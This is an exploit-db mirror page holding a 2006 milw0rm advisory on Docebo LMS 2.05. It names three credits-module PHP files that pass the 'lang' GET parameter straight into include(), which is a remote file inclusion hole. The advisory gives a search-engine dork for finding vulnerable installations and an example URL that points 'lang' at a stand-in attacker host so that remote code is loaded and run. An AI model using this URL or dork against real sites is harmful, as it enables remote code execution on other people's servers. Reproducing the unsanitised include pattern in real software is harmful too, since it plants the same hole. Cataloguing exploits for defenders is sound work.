exploit-db-mirror/exploits/php/webapps/1828.txt
Offensive Security 36c084c351 DB: 2021-09-03
45419 changes to exploits/shellcodes

2 new exploits/shellcodes

Too many to list!
2021-09-03 13:39:06 +00:00

18 lines
No EOL
498 B
Text

Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>
Noobs: %22Based+on+DoceboLMS+2.0%22
Vulnerable Files
doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');
doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');
doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');
http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?
# milw0rm.com [2006-05-25]